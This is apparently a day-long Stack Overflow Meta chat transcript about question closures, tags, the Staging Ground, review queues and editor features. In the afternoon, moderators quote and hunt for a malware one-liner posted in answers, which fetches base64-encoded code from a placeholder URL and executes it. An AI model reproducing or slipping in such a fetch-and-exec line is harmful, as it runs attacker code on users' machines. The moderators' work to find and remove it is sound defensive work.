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Q: Why was my question closed as opinion-based?

ClonkexApologies for yet more meta spam, but I need to understand. Why was my question closed as opinion-based? Here's my reasoning: Programming languages are carefully designed At some point, someone had to make a deliberate design decision to switch around the order of the array declaration and initi...

 
 
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4:20 AM
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Q: Should the [query-optimization] and [query-performance] tags be merged?

User1974There are a couple of tags that sound similar: query-optimization For questions about making database queries run faster. PLEASE INCLUDE QUERY PLANS, AND TABLE AND INDEX DEFINITIONS in your question. Please use additional tags to specify your query language and server maker. Some of these questi...

 
4:51 AM
@RyanM Counterpoint: ML, rather (in)famously, optimises for a goal. This might not align with what the goal of the developer is. In other words, it's the old "computers do what you tell them, not what you mean". If the goal is "clicks" then it can optimise for just "clickbait-y" questions. Just interesting enough to catch your attention and visit to see what it's about. Throwing ML to turn SO into Buzzfeed.
 
that depends on how the ML algorithm works, though
if the goal is "given the text a question, predict the 10 most likely questions that will be linked in the comments or as a duplicate", that wouldn't be subject to that problem
 
Something somewhat like this?
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Q: Project Reduplication of Deduplication Has Begun!

Tim PostWhile announcing the second iteration of the Stack Exchange quality project, I not-so-briefly alluded to a collaboration we're kicking off with the University Of Melbourne. The project presents some very interesting possibilities for us if their model validates as well as is hoped: Knowing very ...

 
 
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6:10 AM
Did that go anywhere?
 
6:20 AM
Doubt it.
I've seen a paper on how to find dupes using ML floating around. Not sure if it's related to that initiative or not but it does exist.
 
Any quick way I can see the staging ground experience for myself, from the new user's perspective, ideally without having to ask a bogus question?
 
Unfortunately no. You also can't even do it by asking a bogus question because there's no guarantee you'd be one of the users who get randomly pulled into SG.
 
"Enter the beta" might be the quickest. But I don't think you would get it from new user's perspective.
You need to ask a question and get lucky to be selected for it to go to SG.
So, to satisfy the "new user perspective" the quickest way would be to write a program that creates new users and asks a single question for each. Then it needs to check if the question was live or not. It should terminates when a question is not live, ergo, it went into SG.
Also a quick way to endear yourself to mods.
 
7:10 AM
They have stated that they are working on some way for beta testers to experience the Staging Ground from an askers perspective (Either using our own account or sock puppet). So yes, you'd probably be able to experience it if you join the beta.
 
Great. SO sponsoring a blog post about Web3.
 
@E_net4 You sound thrilled to learn more about it.
 
7:26 AM
What a weird way to say "crabby".
 
How should I approach "how can I find out how long the program takes to do X?", when the program doesn't actually do X?
also re above, aside from "enter the beta and pray", is there any way I can find out anything concrete about how SG actually works, aside from marketing puffery?
I feel that need to know this, because depending on the answer, it would obviate the need to have a discussion about the ask question wizard.
 
I don't know how strict the blood oath is for the beta testers. If you can ask them.
I assume you want to ask whether the Ask Wizard is used in SG. I can't remember if that was the case but it might be mentioned in the announcements.
 
7:42 AM
it is used, just checked
source: post timeline
 
8:02 AM
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Q: Is it right to close a question which can be seen as related to a tag if it doesnt match the discription

OriginI had posted this question. I had added tags cloudflare and dns. The other person said that the question doesn't match the description for the dns tag, should be closed and is not allowed . I looked into the dns tag description I agree it doesn't match the description. So I removed the tag but I ...

 
@NewPosts anyone know if that's good for Server Fault? If so I can migrate it.
 
Seems OK to me but I'm not a regular (or even irregular) at SF. I think we have a few people over at SOCVR who have more familiarity with SF.
 
eh, I'll send it over. I fixed it up a bit. Might stave off this meta argument.
 
Mods have lost touch with the interests of common users if they want to deny common users an argument on meta! /s
 
haha
Mods enjoy our popcorn too
this time I remembered to delete all the comments first, then migrate
and then undelete them
 
8:15 AM
Mods have lost touch with the interests of common users if they don't share their popcorn!
Probably related but I've not eaten popcorn for years. I don't have a microwave to make popcorn with. I can't be bothered to do it in a saucepan. And I don't go to movies.
Last time I ate popcorn was when I went to see Avengers: Endgame in a movie theatre.
 
well if you want to buy a microwave for cheap I have one I'm trying to get rid of
it's a good microwave but I have one built into my apartment now (which is, ironically, worse in almost every way than the one I'm trying to get rid of)
 
Nah, I'm OK. I'd have gotten a microwave if I needed one. I haven't because I don't have the space to put it. And I don't really use a microwave much. But once I move I'll probably get one. It would allow me to easily make popcorn and hot chocolate. No joke, that's what I'd use a microwave the most when I had one. Outside of reheating food.
In other news, I need to find whoever created the update software we have at work. It's TERRIBLE. First of all, when it needs to install something like Teams which is currently in use, it shows a dialog to notify you that you need to close it. This is OK, if it wasn't for the fact that it minimises every single window when it's shown. It's immensely disruptive when you're doing any sort of work.
Second, I am currently in a meeting on Teams. I can't just close it. There is a button called "Defer" but it popped up the same message a minute later. I only have 3 defers. I've already used one.
Third, I decided to not do anything, just move the dialog so it's not in the way and not try to defer or close Teams. But every minute, it just re-centres back to where it started.
Oh, and the dialog is always on top of everything else. Even when not in focus.
 
9:09 AM
"i am so confused" 1.7k results but the confusion runs deeper in "i'm so confused" with 1.9 results.
 
 
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10:36 AM
I wonder if I'm in the A or B group. These suggestions are certainly something.
 
@VLAZ ...I'm not sure I want to know what was going through their mind while picking tags
 
Me neither.
Honestly, seems like spam because bots seem to just fill the tag section with mostly random things.
With that said, it isn't spam. Nor does it even look like spam seed. The question itself seems genuine enough. I can't even find it being copied from somewhere where a spammer will add a link later.
So...yeah. I'm back to "me neither".
Yes, very ambiguous. I wonder how many innocent users were taken for a ride expecting a programming language.
Not worth rolling back the edit but I should be allowed to make fun of it.
 
10:59 AM
You could change it to TrueType. Really confuse everyone.
 
I mean, it is clearer IMO, but most likely the post shouldn't be structured that way in the first place
 
wow
 
@KarlKnechtel Often tagged on JS questions which deal with event handlers. Since the parameter for the handler is often just named e thus the question asker tends to tag it.
 
there's a nontrivial proportion of deleted spam there too
 
11:48 AM
seems like the tag gets cleaned fairly well. almost all of those results are also tagged [specman], which is in line with how the tag is apparently intended.
honestly, I expected a lot of questions about exponentiation and scientific notation....
 
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Q: Unexpected Winforms App Crashes

fioWe have a WinForms application. Sometimes, without any apparent reason, the app crashes. An AccessViolationException is caught before this (An attempt to read or write protected memory. This is often a sign that other memory is corrupted.) It is captured in the Program.cs class in the Main() meth...

 
Anyone else seeing getting an error on the main meta.so page right now?
oh, it seems to have been temporary, but I was getting It was not possible to perform this tag search at this time due to an unexpected error. for a minute or so
 
weird
 
maybe it had something to do with navigating there from the aforementioned question, which got deleted in the interim? o_O
er, by "aforementioned" I mean linked by the bot
 
12:14 PM
so here's a random thought: what if, instead of review queues, we had review views?
that is, on the questions page, I could ask it to filter by questions that are currently under review for closure.
and instead of being asked to go through them one at a time (and being audited to make sure I don't robo-review), I could browse through them according to what looks like something i'm qualified to review, and take normal actions through the normal interface.
 
1:00 PM
@KarlKnechtel Yes that would be quite nice. In fact that is one of the things I like about the Staging Ground. There's a page with the list of questions that we can browse.
It reminds me of this feature request: meta.stackoverflow.com/questions/418461/out-of-queue-review
 
1:44 PM
> Some people are so fast downvoting but NO ONE was able to post some "correct" way to create components in "correct order" to not offend the Gods of Swing.
Had to share, for obvious reasons.
 
1:55 PM
Nobody wants to offend the Gods of Swing
Bad things happen
 
You wouldn't offend the Sultans, much less the Gods.
 
2:06 PM
exactly
 
Do we swing dupe-hammer now?
 
2:22 PM
Swing it in the morning, swing it in the evening
 
2:50 PM
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Q: Vote counts and badge's vote counts aren't the same

Ben the Coder This seems to be a bug. I can't possibly have made 223 votes and 227!

 
 
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3:50 PM
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Q: How could I have improved this post?

Anm I have a question about my Stack Overflow post: How does cloudflare detect that I am a bot even though I have provided the cf_clearance cookie? I posted it two days ago, it has 30 views with no votes or answers—except the guy who told me to run his reverse shell; how can I improve my post? I h...

 
4:07 PM
In the future, please flag anyone trying to get you to run blatant malware for moderator attention. We will happily remove their ability to continue doing that. — Ryan M ♦ 7 mins ago
Oh my
 
Speaking of which, y'all are good at Stack Overflow. Help me figure out how to use search to find if there's more!
exec(base64.b64decode(eval(requests.get('https://url/here').text))) is the malware bit
The code: search operator is the worst
 
code:base64.b64decode finds 64 items, so it's not THAT much. I'll start looking through them.
I tried "code:base64.b64decode(eval" but didn't match anything
Hmm, although "code:"base64.b64decode(eval" (with quotes) actually does return 18
 
@VLAZ adding deleted:all to this doesn't pick up the aforementioned malware
 
Oh, returns 18 items but they don't really have the code base64.b64decode(eval in them.
4 mins ago, by Ryan M
The code: search operator is the worst
 
I think there will be exceedingly few results for this, because it usually is caught when it's done
 
4:16 PM
Would be nice if we could make sure, though
 
I mean...that person did it 3 times and one of them got accepted. The other two caught it and called it out in the comments.
 
yeah, 'twould
 
At the very least, one of the remote file has been removed by pastebin
 
might need to do a SEDE query for that exec() string in answers
 
@VLAZ went through all of these and it none of them are malicious. I expedited a bit by searching for eval on each page. Most didn't even have any hits. Few did but not as part of code.
 
4:26 PM
I tried a simpler code:eval, sorting it by newest, and manually filtering by user's rep < 50, didn't find any suspicious answers too
on the other hand, I found a suspiciously AI-generated answer...
 
4:47 PM
the problem with code: is that it can only find what I'd describe as a complete "token"
and it has a strange, unintuitive, and often counterproductive definition of a token that makes some things simply impossible to search
 
4:58 PM
@VLAZ I've been trying for several months to try and figure out when the additional set of quotes is required and when it is not. Sometimes it's automatically added and sent back sometimes it doesn't work at all.
 
5:53 PM
@RyanM code:url/here?
or not
 
@ZoestandswithUkraine The URL will be different since it's just a temporary storage. They can be created infinitely in pastebin, GitHub gists, or whatever else lets you dump code and link to it.
I mean, you might get a few hits for the same URL but it's not a reliable thing.
 
Doesn't matter anyway
It can't even find the post I copied the URL from
 
lol
Have you tried some ML to improve it?
 
I did, but I thought I'd rather use #blockchain #web3
 
Heard there was a blog post about this.
 
6:04 PM
I asked ChatGPT for advice. It was not particularly helpful.
...okay, I may have actually asked SquirrelGPT. But it still wasn't very helpful.
 
> grep
SquirrelGPT wants to start a regex war
Also, SquirrelGPT didn't escape the . characters in the pattern.
 
6:24 PM
@RyanM Duh, squirrels are most helpful as food
 
7:01 PM
The issue with SquirrelGPT is that it has already created every possible response to every possible prompt, it just can't remember where it put the prompt response it needs.
 
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Q: Why are"How To" questions met with such hostility?

playmonkagedeeezOP has wrirtten such a compelling question in order to meet the highest nd purest question in order to fit the Stack overflow quality standards.

 
7:17 PM
@NewPosts With this kind of quality, one cannot be impressed by the poor reception.
 
7:27 PM
I love mind-reading games where the prize is getting insulted
 
7:44 PM
> This question was migrated from Stack Overflow because it can be answered on Meta Stack Overflow.
"can be answered" is some serious optimism there
 
I love mod-message where the prize is getting insulted
 
so, like, half of the "Abusive to others" messages?
(honestly it's probably like...50% ignored, 20% insults, 10% contrition, and 20% defending why they insulted someone else to defend against perceived hostility or something like that)
(numbers there extremely approximate; this barely even qualifies as anecdata)
 
probably around 80% because abusive-suspensions are pretty rare on my sites, but when it happened...
 
8:15 PM
I think probably quite a lot of ours originate on meta...
Great way to get mods to notice you being abusive, it turns out.
 
8:26 PM
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Q: There is no undo option after removing (or un-saving) a saved item

desbestThere is no undo button in the temporary success message, after unsaving a saved item. The menu items are already very close together so what if I click the wrong option by accident? I can't undo it.

 
8:36 PM
@NewPosts oh ouch, that's a nasty footgun...
 
9:20 PM
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Q: Why was my question closed for being "not about programming or software development"?

yunleeI posted this question about troubleshooting SSH errors on StackOverflow today. The question got closed, and I want to know why it should be closed. As a disclaimer, I am not trying to complain but rather want to know why the question was closed and how I can use StackOverflow better in the futur...

 
 
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11:10 PM
I feel like I don't agree with this. Is the block/line of code not important enough to be formatted in a readable way? Omit it. Is the block/line of code making the next part of the code not readily visible? Start a new block for the second part of the code. It's hard to imagine code that is both important enough to include yet not important enough to make readable. Why is it included? — Dave Cousineau 8 mins ago
If the data doesn't need to be in the answer, @VLAZ , then it shouldn't be in the answer. Remove it entirely. Then you don't need to scroll past it at all. — Thom A yesterday
do people not, like, grasp the concept of an executable snippet?
It's not like there's one linked in the question they're on or anything
</salty-ryan>
Ability to downvote comments
^ actually a serious request; I think it could be useful. Just not for this particular reason.
 
Tangential question: is there a reason you used images in your answer instead of using Stack snippets?
 
11:26 PM
@HenryEcker ...because frankly, it had not occurred to me that I could do that and get an interactive version of the result.
which is a long way of saying "no"
...with a side of "I have the new editor enabled and thus I don't have stack snippet support because why would the editor they're forcing on new users to ask questions have the ability to include executable MREs"
 
Yeah... the lack of stack snippets is definitely a frustration for me with the Stacks editor.
 

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